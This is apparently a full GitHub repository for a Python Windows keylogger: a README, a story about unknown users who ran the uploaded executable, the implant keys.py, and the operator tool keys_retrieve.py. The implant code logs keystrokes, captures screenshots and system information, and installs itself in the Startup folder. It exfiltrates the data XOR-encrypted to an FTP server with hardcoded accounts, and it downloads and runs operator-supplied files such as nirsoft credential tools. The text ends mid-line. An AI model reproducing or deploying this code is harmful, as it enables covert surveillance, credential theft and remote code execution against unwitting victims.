├── LICENSE ├── README.md ├── unexpected_occurence.md └── source ├── keys.py └── keys_retrieve.py /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 Michal 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # keyLogger 2 | 3 | The working mechanism utilises FTP server as a intermediate between the victim and the attacker. The cool thing about FTP server is that it can be created for free within 5 minutes, all you need is an email, no personal data. The idea to use FTP as a medium has been taken by me from "★Cam★" user's [release](https://hackforums.net/showthread.php?tid=5558161). This project relies on his release too but it was little bit "wooden", this code/project doesn't resemble it anymore so I share it as mine. 4 | 5 | The keys.py is the file which does all the work, logging the keystrokes, collecting some system information, making screenshots and sending all of these encrypted to the FTP server as files. 6 | 7 | The keys_retriever.py is used to connect to the FTP server, collect the information, automatically decrypt it and present to the user. It also has a function to upload a file to the FTP server which will be automatically downloaded by the keys.py with an option to execute it or add to system startup. There's also a special handling for "nirsoft" executables. 8 | 9 | Example of an output: 10 | ![](http://i.imgur.com/b4viSNF.png) 11 | -------------------------------------------------------------------------------- /unexpected_occurence.md: -------------------------------------------------------------------------------- 1 | Accidentally this project made me more aware that my personal files aren't personal anymore when I upload them to file hosting services and there's a small "story" to it: 2 | I never shared credentials of my FTP accounts I tested this project with and the only places where I placed "keys.exe" were: 3 | * 2 of my pcs 4 | * pc at my school 5 | * mediafire hosting service 6 | 7 | When "keys.exe" is executed it connects to the FTP server and creates a folder named by the user who executed it. To my surprise aside from my usernames few other folders were created by users called: 8 | * admin 9 | * Apiary 10 | * David 11 | * JohnDoe 12 | * luser 13 | * Roger 14 | * STRAZNJICAGRUBUTT 15 | 16 | That was the point where I added screenshot and "sysinfo" functionality to the project, shortly after that I checked "WHOIS" for each of the collected IP addresses which showed the following results: 17 | * RIPE Network Coordination Centre (using 3 different IPs over the time) 18 | * Integra Telecom, Inc. (ITCM) 19 | * Cythereon Inc. 20 | * Peak 10, Inc. 21 | * Asia Pacific Network Information Centre (APNIC) 22 | * Georgia Institute of Technology (GIT-Z) 23 | * Wintek Corporation WINTEK-NET2 24 | 25 | Results which still didn't clarify to me what exactly is the purpose of such testing... The screenshots also didn't clarify much. 26 | 27 | ![](http://i.imgur.com/EkY4qRO.jpg) 28 | ![](http://i.imgur.com/SDpG0Cr.jpg) 29 | ![](http://i.imgur.com/Atlv1KK.jpg) 30 | -------------------------------------------------------------------------------- /source/keys.py: -------------------------------------------------------------------------------- 1 | ''' 2 | Python 2.7 implementation with some additional functionality: 3 | -systeminfo data is uploaded when the file is executed 4 | -all the data uploaded to FTP server is encrypted (keys_retriever.py is used to collect/decrypt the data) 5 | -ability to take screenshot with simple kl.UploadScreenShot() 6 | -auto-downloader so you can use keys_retriever.py to upload some file and it will be executed on the target, keys_retrieve.py allows to set few parameters to it like (persistence/execute/upload results if it's nirsoft application) 7 | -use several ftp accounts in case if 1 is not available (drivehq.com has 25 logins/day limit so that's why there's such function) 8 | -"keep alive" (NOOP) packet is sent each minute to the FTP 9 | ''' 10 | 11 | import pyHook 12 | import pythoncom 13 | import sys, os 14 | import ftplib, datetime 15 | import threading, time 16 | from Queue import Queue 17 | import io, subprocess 18 | from urllib2 import urlopen 19 | import socket 20 | import win32api 21 | from ctypes import Structure, windll, c_uint, sizeof, byref #needed for GetIdleTime() 22 | from random import randint 23 | 24 | from PIL import ImageGrab, Image 25 | import StringIO 26 | 27 | class LASTINPUTINFO(Structure): #needed for GetIdleTime() 28 | _fields_ = [ 29 | ('cbSize', c_uint), 30 | ('dwTime', c_uint), 31 | ] 32 | 33 | xorMap = [235, 235, 126, 240, 203, 237, 81, 160, 9, 37, 204, 43, 190, 31, 76, 98, 53, 200, 222, 172, 184, 172, 157, 214, 128, 194, 175, 119, 254, 25, 25, 193, 109, 190, 240, 162, 184, 184, 114, 117, 57, 63, 167, 61, 104, 86, 146, 85, 114, 205, 0, 73, 162, 188, 129, 22, 67, 26, 80, 50, 190, 7, 91, 15, 56, 127, 226, 61, 172, 204, 76, 72, 40, 154, 65, 85, 8, 223, 211, 178, 149, 106, 57, 204, 236, 147, 54, 246, 59, 90, 43, 148, 9, 50, 253, 74, 143, 201, 48, 252, 236, 236, 139, 30, 124, 44, 21, 245, 179, 53, 85, 243, 230, 21, 49, 7, 239, 153, 46, 9, 1, 119, 105, 25, 71, 139, 75, 58, 43, 229, 88, 234, 226, 201, 1, 69, 16, 71, 97, 32, 195, 197, 215, 37, 219, 81, 243, 202, 181, 177, 193, 98, 179, 92, 180, 72, 219, 176, 115, 173, 16, 212, 118, 24, 204, 18, 123, 155, 197, 254, 226, 208, 80, 120, 46, 222, 152, 213, 68, 33, 153, 62, 192, 162, 16, 225, 110, 81, 65, 156, 212, 31, 26, 178, 195, 23, 141, 241, 48, 180] 34 | 35 | 36 | def ExceptionHandler(func): #the exe won't popup "Couldn't execute keys script" but will output encrypted exception to e.mm file and "gracefully" exit 37 | def call(*args, **kwargs): 38 | try: return func(*args, **kwargs) 39 | except Exception as e: 40 | #with open("e.mm", "wb") as f: 41 | #f.write(XorText("Exception:\n"+str(e), xorMap)) #it's not a good idea to save it to a file if it's in the startup folder... 42 | print "Handled exception:\n"+str(e) 43 | raise SystemExit 44 | return call 45 | 46 | 47 | 48 | @ExceptionHandler 49 | def GetIdleTime(): 50 | lastInputInfo = LASTINPUTINFO() 51 | lastInputInfo.cbSize = sizeof(lastInputInfo) 52 | windll.user32.GetLastInputInfo(byref(lastInputInfo)) 53 | millis = windll.kernel32.GetTickCount() - lastInputInfo.dwTime 54 | return millis / 1000.0 55 | 56 | @ExceptionHandler 57 | def ProcessCmd(command): 58 | proc = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) 59 | r = proc.stdout.read() + proc.stderr.read() 60 | return r[:len(r)-2] 61 | 62 | @ExceptionHandler 63 | def XorText(text, xorMap): 64 | xoredText = "" 65 | for i, letter in enumerate(text): 66 | xoredText += chr(ord(text[i]) ^ (xorMap[i%len(xorMap)] ^ (xorMap[(len(text)- 1)%len(xorMap)]))) #chr(ord(letter) ^ xorMap[i%len(xorMap)]) 67 | return xoredText 68 | 69 | @ExceptionHandler 70 | def FilterKey(k, text): 71 | if len(text) > len(k) and len(text) > 3: 72 | if text[len(text)-len(k):] == k and (len(k) > 1 or any(specialKey == k and specialKey == text[len(text)-1] and specialKey == text[len(text)-2] for specialKey in ["w", "s", "a", "d"])): 73 | return "" 74 | return k 75 | 76 | @ExceptionHandler 77 | def GetPublicIP(): 78 | return str(urlopen('http://ip.42.pl/raw').read()) 79 | 80 | @ExceptionHandler 81 | def GetLocalIP(): 82 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 83 | try: 84 | s.connect(('10.255.255.255', 0)) 85 | IP = s.getsockname()[0] 86 | except: IP = '127.0.0.1' 87 | finally: s.close() 88 | return str(IP) 89 | 90 | class Keylogger: 91 | @ExceptionHandler 92 | def __init__(self, **kwargs): 93 | self.debug = kwargs.get("debug", False) 94 | self.postfreq = kwargs.get("postfreq", 20) 95 | self.q = Queue() 96 | self.xorMap = xorMap 97 | self.windowname = "" 98 | self.strbuff = "" 99 | self.secSendFile = time.clock() 100 | self.secKeepConAlive = time.clock() 101 | self.secCheckScreenCaptureRequest = time.clock() 102 | self.secDownloadFile = time.clock() 103 | self.ftpFolderName = "_" + "".join(letter for letter in ProcessCmd("echo %USERNAME%") if letter.isalnum()) 104 | 105 | @ExceptionHandler 106 | def __del__(self): 107 | try: self.ftp.quit() 108 | except: 109 | try: self.ftp.close() 110 | except: pass 111 | try: self.hookManager.UnhookKeyboard() 112 | except: pass 113 | 114 | @ExceptionHandler 115 | def StartKeyCapture(self): 116 | self.hookManager = pyHook.HookManager() 117 | self.hookManager.KeyDown = self.OnKeypressCallback 118 | self.hookManager.HookKeyboard() 119 | pythoncom.PumpMessages() 120 | 121 | @ExceptionHandler 122 | def OnKeypressCallback(self, press): 123 | if press.Ascii not in range(32,126): 124 | self.q.put([FilterKey("<"+press.Key+">", self.strbuff), press.WindowName]) 125 | else: 126 | self.q.put([FilterKey(chr(press.Ascii), self.strbuff), press.WindowName]) 127 | return True 128 | 129 | @ExceptionHandler 130 | def CopyItselfToStartup(self): 131 | desired_file = ProcessCmd("echo %USERPROFILE%").replace("\\", "/") + "/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/" + os.path.basename(sys.argv[0]) 132 | if not os.path.isfile(desired_file): 133 | with open(os.path.basename(sys.argv[0]), "rb") as base_f, open(desired_file, "wb") as new_f: 134 | new_f.write(base_f.read()) 135 | if self.debug: print "Copied itself to startup" 136 | 137 | @ExceptionHandler 138 | def FTP_Connect(self, server, port, name_list, pswd_list): 139 | for name, pswd in zip(name_list, pswd_list): 140 | try: 141 | self.ftp = ftplib.FTP() 142 | self.ftp.connect(server, port) 143 | self.ftp.login(name, pswd) 144 | except: continue 145 | directories = [] 146 | self.ftp.retrlines('LIST', directories.append) 147 | if not any(self.ftpFolderName in d for d in directories): 148 | self.ftp.mkd(self.ftpFolderName) 149 | 150 | if self.debug: print "Connected to the ftp server (" + ", ".join([server, name, pswd]) + ")" 151 | return True 152 | raise ValueError("Couldn't connect to: " + server + " using the following credentials:\n" + "".join(u + " : " + p + "\n" for u,p in zip(name_list, pswd_list))) 153 | 154 | @ExceptionHandler 155 | def UploadSystemInfo(self): 156 | directories = [] 157 | self.ftp.retrlines('LIST \\' + self.ftpFolderName, directories.append) 158 | if not any("_" in d for d in directories): 159 | self.ftp.mkd("\\"+self.ftpFolderName+"\\_") 160 | self.ftp.storbinary("STOR " + "\\"+ self.ftpFolderName +"\\_\\" + datetime.datetime.now().strftime("%d-%m-%Y___%H-%M") + ".mm", io.BytesIO(XorText(GetPublicIP() +"\n"+ GetLocalIP() + "\n" + ProcessCmd("systeminfo"), xorMap))) 161 | if self.debug: print "Systeminfo uploaded" 162 | 163 | @ExceptionHandler 164 | def UploadScreenShot(self, **kwargs): 165 | screenFolder = "vv" if kwargs.get("vidstream") == True else "ii" 166 | directories = [] 167 | self.ftp.retrlines('LIST \\' + self.ftpFolderName, directories.append) 168 | if not any(screenFolder in d for d in directories): 169 | self.ftp.mkd("\\"+self.ftpFolderName + "\\" + screenFolder) 170 | ss_pil = ImageGrab.grab() 171 | imgBuff = StringIO.StringIO() 172 | ss_pil.save(imgBuff, "JPEG") 173 | self.ftp.storbinary("STOR " + "\\"+ self.ftpFolderName + "\\" + screenFolder + "\\" + datetime.datetime.now().strftime("%d-%m-%Y___%H-%M") + ".mm", io.BytesIO(XorText(imgBuff.getvalue(), xorMap))) 174 | imgBuff.close() 175 | if self.debug: print "ScreenShot uploaded (\\" + screenFolder +")" 176 | 177 | @ExceptionHandler 178 | def IsScreenCaptureStreamRequested(self, **kwargs): #not developed it much, it requires more work to be done to be fully functional 179 | if kwargs.get("dircheck", False) == True: 180 | directories = [] 181 | self.ftp.retrlines('LIST \\' + self.ftpFolderName, directories.append) 182 | if not any("vv" in d for d in directories): 183 | self.ftp.mkd("\\"+self.ftpFolderName+"\\vv") 184 | return False 185 | if any(f.startswith("s") for f in self.ftp.nlst("\\"+self.ftpFolderName+"\\vv")): 186 | return True 187 | return False 188 | 189 | @ExceptionHandler 190 | def IsFileDownloadAvailable(self): 191 | directories = [] 192 | self.ftp.retrlines('LIST \\' + self.ftpFolderName, directories.append) 193 | if not any("f" in d for d in directories): 194 | self.ftp.mkd("\\"+self.ftpFolderName+"\\f") 195 | if "f.mm" in self.ftp.nlst("\\"+self.ftpFolderName+"\\f"): 196 | return True 197 | return False 198 | 199 | @ExceptionHandler 200 | def DownloadFile(self): 201 | if self.debug: print "DownloadFile" 202 | dataChunks = [] 203 | if self.debug: print "0" 204 | self.ftp.retrbinary('RETR ' + "\\"+ self.ftpFolderName +"\\f\\f.mm", dataChunks.append) 205 | if self.debug: print 1 206 | fileInfo, fileData = XorText("".join(dataChunks), self.xorMap).split("###########################_____________________###############################") 207 | if self.debug: print 2 208 | destinationFileName = [v.split("=")[1] for v in fileInfo.split("\n") if "destinationFileName" in v][0] 209 | destinationPath = [v.split("=")[1] for v in fileInfo.split("\n") if "destinationPath" in v][0] 210 | destinationPath = (ProcessCmd("echo %USERPROFILE%").replace("\\", "/") + "/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/") if destinationPath == "startup" else (ProcessCmd("echo %USERPROFILE%").replace("\\", "/") + "/" + destinationPath) 211 | execute = True if [v.split("=")[1] for v in fileInfo.split("\n") if "execute" in v][0] == "True" else False 212 | params = [v.split("=")[1] for v in fileInfo.split("\n") if "params" in v][0] 213 | isNirsoft = True if [v.split("=")[1] for v in fileInfo.split("\n") if "nirsoft" in v][0] == "True" else False 214 | 215 | desiredFile = destinationPath + destinationFileName 216 | 217 | if not os.path.exists(destinationPath): 218 | os.makedirs(destinationPath) 219 | if os.path.isfile(desiredFile): 220 | os.remove(desiredFile) 221 | 222 | with open(desiredFile, "wb") as f: 223 | f.write(fileData) 224 | if self.debug: print "Downloaded "+ destinationFileName 225 | 226 | if execute: 227 | ProcessCmd("start \"\" \""+ desiredFile + "\"" + (" "+params if params != "none" else "")) 228 | if self.debug: print "Executed "+ destinationFileName 229 | if isNirsoft: 230 | nsOutput = destinationFileName.split(".")[0] + ".mm" 231 | for i in range(100): 232 | time.sleep(0.1) 233 | if os.path.isfile(nsOutput): 234 | break 235 | else: 236 | if self.debug: print "Nirsoft output not available" 237 | os.remove(desiredFile) 238 | return 239 | 240 | with open(nsOutput, "rb") as f: 241 | data = XorText(f.read(),self.xorMap) 242 | os.remove(nsOutput) 243 | os.remove(desiredFile) 244 | if self.debug: print "Nirsoft application and output files removed" 245 | 246 | self.UploadNirsoftData(data, nsOutput) 247 | 248 | 249 | self.ftp.delete("\\"+ self.ftpFolderName +"\\f\\f.mm") 250 | if self.debug: print "Deleted "+ destinationFileName + " from ftp server" 251 | 252 | @ExceptionHandler 253 | def UploadNirsoftData(self, data, fileName): 254 | directories = [] 255 | self.ftp.retrlines('LIST \\' + self.ftpFolderName, directories.append) 256 | if not any("n" in d for d in directories): 257 | self.ftp.mkd("\\"+self.ftpFolderName+"\\n") 258 | self.ftp.storbinary("STOR " + "\\"+ self.ftpFolderName +"\\n\\" + datetime.datetime.now().strftime("%d-%m-%Y___%H-%M") + ".mm", io.BytesIO(data)) 259 | if self.debug: print "Nirsoft data uploaded" 260 | 261 | @ExceptionHandler 262 | def Update(self): 263 | try:data = self.q.get(block=False) 264 | except:data = ["",self.windowname] 265 | 266 | if data[1] != self.windowname: 267 | self.windowname = data[1] 268 | self.strbuff += "\n\n["+self.windowname+"]\n" 269 | 270 | #print "secSendFile=" + str(self.secSendFile) + ", time.clock()=" + str(time.clock()) 271 | 272 | #print data[0] 273 | self.strbuff += data[0] 274 | 275 | if (time.clock() - self.secKeepConAlive) > 60: #every 1 min 276 | self.secKeepConAlive = time.clock() 277 | if self.debug: print "Keep connection alive is going to be sent." 278 | self.ftp.voidcmd("NOOP") 279 | if self.debug: print "Keep connection alive has been sent." 280 | 281 | if (time.clock() - self.secSendFile) > self.postfreq*60 and self.strbuff: 282 | self.secSendFile = time.clock() 283 | if self.debug: print "To be uploaded: " + self.strbuff + "\n" 284 | if self.debug: print "To be uploaded (xored): " + XorText(self.strbuff, self.xorMap) + "\n\n" 285 | 286 | b = io.BytesIO(XorText(self.strbuff, self.xorMap)) 287 | self.ftp.storbinary("STOR " + "\\"+ self.ftpFolderName +"\\" + datetime.datetime.now().strftime("%d-%m-%Y___%H-%M") + ".mm", b) 288 | self.strbuff = "" 289 | 290 | #if (time.clock() - self.secCheckScreenCaptureRequest) > 15: #every 15 sec 291 | #if self.IsScreenCaptureStreamRequested(dircheck = True): 292 | #self.UploadScreenShot(vidstream=True) 293 | 294 | if (time.clock() - self.secDownloadFile) > 15: #every 15 sec 295 | if self.IsFileDownloadAvailable(): 296 | time.sleep(15) 297 | self.DownloadFile() 298 | 299 | 300 | 301 | 302 | def QuickSetup(**kwargs): 303 | kl = Keylogger(postfreq=kwargs.get("postfreq", 20), debug=kwargs.get("debug", False)) 304 | 305 | if kwargs.get("persistence", False): kl.CopyItselfToStartup() 306 | 307 | kl.FTP_Connect(kwargs.get("server", "ftp.drivehq.com"), 308 | kwargs.get("port", 0), 309 | kwargs.get("names",["michal", "monday", "thirdAccountUsername"]), 310 | kwargs.get("passwords",["qwerty", "password2", "thirdAccountPssword"])) 311 | 312 | kl.UploadSystemInfo() 313 | kl.UploadScreenShot() 314 | 315 | keyCapture = threading.Thread(target=kl.StartKeyCapture) 316 | keyCapture.daemon = True 317 | keyCapture.start() 318 | 319 | while True: 320 | kl.Update()#a.k.a. run() 321 | time.sleep(0.02) 322 | 323 | 324 | if __name__ == "__main__": 325 | QuickSetup(postfreq=10, debug = True, persistence=False) -------------------------------------------------------------------------------- /source/keys_retrieve.py: -------------------------------------------------------------------------------- 1 | import ftplib, datetime, time, io, os, re, threading, sys 2 | from Queue import Queue 3 | from PIL import ImageGrab, Image 4 | import StringIO 5 | import cv2 6 | import numpy as np 7 | 8 | def XorText(text, xorMap): 9 | xoredText = "" 10 | for i, letter in enumerate(text): 11 | xoredText += chr(ord(text[i]) ^ (xorMap[i%len(xorMap)] ^ (xorMap[(len(text)- 1)%len(xorMap)]))) #chr(ord(letter) ^ xorMap[i%len(xorMap)]) 12 | return xoredText 13 | 14 | class FTP_Retriever: 15 | def __init__(self, **kwargs): 16 | self.debug = kwargs.get("debug", False) 17 | self.xorMap = [235, 235, 126, 240, 203, 237, 81, 160, 9, 37, 204, 43, 190, 31, 76, 98, 53, 200, 222, 172, 184, 172, 157, 214, 128, 194, 175, 119, 254, 25, 25, 193, 109, 190, 240, 162, 184, 184, 114, 117, 57, 63, 167, 61, 104, 86, 146, 85, 114, 205, 0, 73, 162, 188, 129, 22, 67, 26, 80, 50, 190, 7, 91, 15, 56, 127, 226, 61, 172, 204, 76, 72, 40, 154, 65, 85, 8, 223, 211, 178, 149, 106, 57, 204, 236, 147, 54, 246, 59, 90, 43, 148, 9, 50, 253, 74, 143, 201, 48, 252, 236, 236, 139, 30, 124, 44, 21, 245, 179, 53, 85, 243, 230, 21, 49, 7, 239, 153, 46, 9, 1, 119, 105, 25, 71, 139, 75, 58, 43, 229, 88, 234, 226, 201, 1, 69, 16, 71, 97, 32, 195, 197, 215, 37, 219, 81, 243, 202, 181, 177, 193, 98, 179, 92, 180, 72, 219, 176, 115, 173, 16, 212, 118, 24, 204, 18, 123, 155, 197, 254, 226, 208, 80, 120, 46, 222, 152, 213, 68, 33, 153, 62, 192, 162, 16, 225, 110, 81, 65, 156, 212, 31, 26, 178, 195, 23, 141, 241, 48, 180] 18 | self.ftp = 0 19 | self.serverConfigSets = [] 20 | self.serverConfigNum = 0 21 | self.keepConnAliveT = threading.Thread(target = self.KeepConnAlive) 22 | self.keepConnAliveT.daemon = True 23 | self.keepConnAliveT.start() 24 | 25 | self.fileTypeConfigs = [ 26 | {"fileNames":[], "folder":"\\_\\", "heading":"Sysinfo"}, 27 | {"fileNames":[], "folder":"\\", "heading":"Keystroke"}, 28 | {"fileNames":[], "folder":"\\n\\", "heading":"Nirsoft"}, 29 | {"fileNames":[], "folder":"\\ii\\", "heading":"Screenshots"} 30 | ] 31 | 32 | def __del__(self): 33 | self.Disconnect() 34 | 35 | def KeepConnAlive(self): 36 | secTimer = time.clock() 37 | while True: 38 | time.sleep(3) 39 | if (time.clock() - secTimer) > 60: 40 | try: self.ftp.voidcmd("NOOP") 41 | except: pass 42 | secTimer = time.clock() 43 | 44 | def PickFTPserverConfig(self, config_sets): #config_sets = list of lists [srv, usr, pswd] 45 | self.serverConfigSets = config_sets 46 | print "\nAvailable accounts:\n" 47 | for i,c in enumerate(self.serverConfigSets): 48 | print str(i)+". "+ " : ".join(val for val in c) #c = [server, name, password] 49 | self.serverConfigNum = int(raw_input("\nWhich account to check:\n> ")) 50 | 51 | def Connect(self): 52 | self.ftp = ftplib.FTP(self.serverConfigSets[self.serverConfigNum][0], 53 | self.serverConfigSets[self.serverConfigNum][1], 54 | self.serverConfigSets[self.serverConfigNum][2]) 55 | #if self.debug: print ("Logged in ("+ server +", "+ name +", "+ password +")") 56 | print "Logged in ("+ self.serverConfigSets[self.serverConfigNum][0] +", "+ self.serverConfigSets[self.serverConfigNum][1] +", "+ self.serverConfigSets[self.serverConfigNum][2] +")" 57 | 58 | def Disconnect(self): 59 | if self.ftp: 60 | try: self.ftp.quit() 61 | except: 62 | try: self.ftp.exit() 63 | except: pass 64 | 65 | def DirectoriesAvailable(self): 66 | self.directories = [] 67 | self.ftp.retrlines('LIST', self.directories.append) 68 | self.directories = [re.findall(r'\d{2}:\d{2}\s(_.+)', d)[0] for d in self.directories if re.findall(r'\d{2}:\d{2}\s_', d)] 69 | if self.directories: return True 70 | #print 'No directories starting with "_" were found.' 71 | return False 72 | 73 | def GetDirectories(self): 74 | return self.directories 75 | #print '\nDirectories:' 76 | #for i, directory in enumerate(self.directories): 77 | #print str(i) + ". " + directory 78 | 79 | def PickDirectory(self, dirNum): 80 | self.dirNum = dirNum 81 | 82 | def FilesAvailable(self): 83 | self.MakeSureSubDirsAreThere() 84 | for d in self.fileTypeConfigs: 85 | d["fileNames"] = self.ftp.nlst("\\"+ self.directories[self.dirNum] + d["folder"]) 86 | if any(d["fileNames"] for d in self.fileTypeConfigs): 87 | return True 88 | return False 89 | 90 | def GetFileNames(self, **kwargs): 91 | if kwargs.get("recheck", False) == True: 92 | self.MakeSureSubDirsAreThere() 93 | for d in self.fileTypeConfigs: 94 | d["fileNames"] = self.ftp.nlst("\\"+ self.directories[self.dirNum] + d["folder"]) 95 | fTypOut = [] 96 | for d in self.fileTypeConfigs: 97 | fTypOut.append([d["heading"] + " files:"] + ["\n"+str(i) + ". "+ d["folder"] + "".join(n) for i,n in enumerate(d["fileNames"])] + ["\n\n"]) 98 | 99 | return ["".join(t) if len(t)>2 else "" for t in fTypOut] 100 | 101 | def MakeSureSubDirsAreThere(self): 102 | directories = [] 103 | self.ftp.retrlines('LIST \\' + self.directories[self.dirNum], directories.append) 104 | for d in self.fileTypeConfigs: 105 | if not any(d["folder"].replace("\\","").replace("/","") in directory for directory in directories): 106 | self.ftp.mkd("\\"+self.directories[self.dirNum] + d["folder"]) 107 | 108 | if not any("vv" in directory for directory in directories): 109 | self.ftp.mkd("\\"+self.directories[self.dirNum]+"\\vv") 110 | 111 | def DownloadAllFiles(self): 112 | print "" 113 | if not os.path.exists("Saved output"): 114 | os.makedirs("Saved output") 115 | self.outputPath = "Saved output/" + self.directories[self.dirNum] 116 | if not os.path.exists(self.outputPath): 117 | os.makedirs(self.outputPath) 118 | 119 | for d in self.fileTypeConfigs: 120 | self.DownloadSpecificFiles(d["fileNames"], d["folder"], d["heading"]) 121 | 122 | 123 | 124 | def DownloadSpecificFiles(self, fileNames, folder, heading): 125 | if not os.path.exists(self.outputPath + folder.replace("\\", "/")): 126 | os.makedirs(self.outputPath + folder.replace("\\", "/")) 127 | 128 | data = "" 129 | if fileNames: 130 | if heading == "Screenshots": 131 | images = [] 132 | for name in fileNames: 133 | fileData = [] 134 | self.ftp.retrbinary('RETR ' + "\\"+ self.directories[self.dirNum] + folder + name, fileData.append) 135 | images.append(XorText("".join(fileData), self.xorMap)) 136 | for i,img in enumerate(images): 137 | tempBuff = StringIO.StringIO() 138 | tempBuff.write(img) 139 | tempBuff.seek(0) #need to jump back to the beginning before handing it off to PIL 140 | file_abs_name = self.outputPath + "/ii/" + fileNames[i].split(".")[0] + ".JPEG" 141 | Image.open(tempBuff).save(file_abs_name) 142 | if images: print "Images downloaded to: " + self.outputPath + folder.replace("\\","/") 143 | else: 144 | for name in fileNames: 145 | fileData = [] 146 | data += "\n\n\n>>>>>>>>>>>>>>> "+ heading +": " + name +" <<<<<<<<<<<<<<<<\n" 147 | self.ftp.retrbinary('RETR ' + "\\"+ self.directories[self.dirNum] + folder + name, fileData.append) 148 | data += XorText("".join(fileData), self.xorMap) 149 | 150 | packedFileName = (fileNames[0].split(".")[0] + " - " + fileNames[len(fileNames)-1].split(".")[0]) if len(fileNames) > 1 else fileNames[0].split(".")[0] 151 | file_abs_name = self.outputPath + folder.replace("\\", "/") + packedFileName + ".mm" 152 | with open(file_abs_name, "wb") as f: 153 | f.write(data) 154 | print heading + " downloaded to: " + file_abs_name 155 | 156 | def GetAllContent(self): 157 | content = "" 158 | for d in self.fileTypeConfigs: 159 | content += self.GetSpecificFileTypeContent(d["fileNames"], d["folder"], d["heading"]) 160 | return content 161 | 162 | def GetSpecificFileTypeContent(self, fileNames, folder, heading): 163 | text = "" 164 | if heading == "Screenshots": 165 | text += "\n\n" 166 | for name in fileNames: 167 | text += ">>>>>>>>>>>>>>> " + heading + ": "+ name +" <<<<<<<<<<<<<<<<\n" 168 | else: 169 | for name in fileNames: 170 | fileData = [] 171 | text += "\n\n\n>>>>>>>>>>>>>>> " + heading + ": "+ name +" <<<<<<<<<<<<<<<<\n" 172 | self.ftp.retrbinary('RETR ' + "\\"+ self.directories[self.dirNum] + folder + name, fileData.append) 173 | text += XorText("".join(fileData), self.xorMap) 174 | return text 175 | 176 | 177 | def GetSingleFileContent(self, heading, fileNum): 178 | fileData = [] 179 | for d in self.fileTypeConfigs: 180 | if d["heading"] == heading: 181 | fileName = d["fileNames"][fileNum] 182 | folderName = d["folder"] 183 | data = "\n\n\n>>>>>>>>>>>>>>> "+ heading +": "+ fileName +" <<<<<<<<<<<<<<<<\n" 184 | self.ftp.retrbinary('RETR ' + "\\"+ self.directories[self.dirNum] + folderName + fileName, fileData.append) 185 | return data + XorText("".join(fileData), self.xorMap) 186 | 187 | def DeleteFTPfiles(self): 188 | output = "" 189 | for d in self.fileTypeConfigs: 190 | for name in d["fileNames"]: 191 | self.ftp.delete("\\"+ self.directories[self.dirNum] + d["folder"] + name) 192 | output += "deleted= " + "\\"+ self.directories[self.dirNum] + d["folder"] + name + "\n" 193 | return output 194 | 195 | def DeleteFTPdirectory(self): 196 | self.ftp.rmd("\\"+ self.directories[self.dirNum]) 197 | print self.directories[self.dirNum] + " directory has been deleted." 198 | 199 | def ShowScreenShot(self, imgNum): 200 | fileName = [d["fileNames"][imgNum] for d in self.fileTypeConfigs if d["heading"] == "Screenshots"][0] 201 | folderName = [d["folder"] for d in self.fileTypeConfigs if d["heading"] == "Screenshots"][0] 202 | 203 | retrievedData = [] 204 | self.ftp.retrbinary('RETR ' + "\\"+ self.directories[self.dirNum] + folderName + fileName, retrievedData.append) 205 | tempBuff = StringIO.StringIO() 206 | tempBuff.write(XorText("".join(retrievedData),self.xorMap)) 207 | tempBuff.seek(0) #need to jump back to the beginning before handing it off to PIL 208 | Image.open(tempBuff).show() 209 | 210 | def RequestScreenCaptureStream(self): #not developed it much, it requires more work to be done to be fully functional 211 | if "s.mm" not in self.ftp.nlst("\\"+ self.directories[self.dirNum] +"\\vv"): 212 | self.ftp.storbinary("STOR " + "\\"+ self.directories[self.dirNum] +"\\vv\\s.mm", io.BytesIO("-")) 213 | 214 | def AbandonScreenCaptureStream(self): #not developed it much, it requires more work to be done to be fully functional 215 | if "s.mm" in self.ftp.nlst("\\"+ self.directories[self.dirNum] +"\\vv"): 216 | self.ftp.delete("\\"+ self.directories[self.dirNum] +"\\vv\\s.mm") 217 | 218 | def ViewScreenCaptureStream(self): #not developed it much, it requires more work to be done to be fully functional 219 | frames = [] 220 | frameFileNames = [fN for fN in self.ftp.nlst("\\"+ self.directories[self.dirNum] +"\\vv") if fN != "s.mm"] 221 | if frameFileNames: 222 | for fileName in frameFileNames: 223 | retrievedData = [] 224 | self.ftp.retrbinary('RETR ' + "\\"+ self.directories[self.dirNum] +"\\vv\\" + fileName, retrievedData.append) 225 | tempBuff = StringIO.StringIO() 226 | tempBuff.write(XorText("".join(retrievedData),self.xorMap)) 227 | tempBuff.seek(0) #need to jump back to the beginning before handing it off to PIL 228 | printscreen_pil = Image.open(tempBuff) 229 | 230 | printscreen_pil = printscreen_pil.resize((printscreen_pil.size[0],printscreen_pil.size[1]), Image.ANTIALIAS) 231 | frame = np.array(printscreen_pil.getdata(),dtype=np.uint8).reshape((printscreen_pil.size[1],printscreen_pil.size[0],3)) 232 | #frames.append(frame) 233 | 234 | cv2.namedWindow("window", cv2.WINDOW_NORMAL) 235 | cv2.imshow('window', frame) 236 | #cv2.resizeWindow('window', 200,200) 237 | if cv2.waitKey(0) & 0xFF == ord('q'): 238 | cv2.destroyAllWindows() 239 | break 240 | else: 241 | print "No frames available" 242 | return 243 | ''' 244 | for frame in frames: 245 | cv2.namedWindow("window", 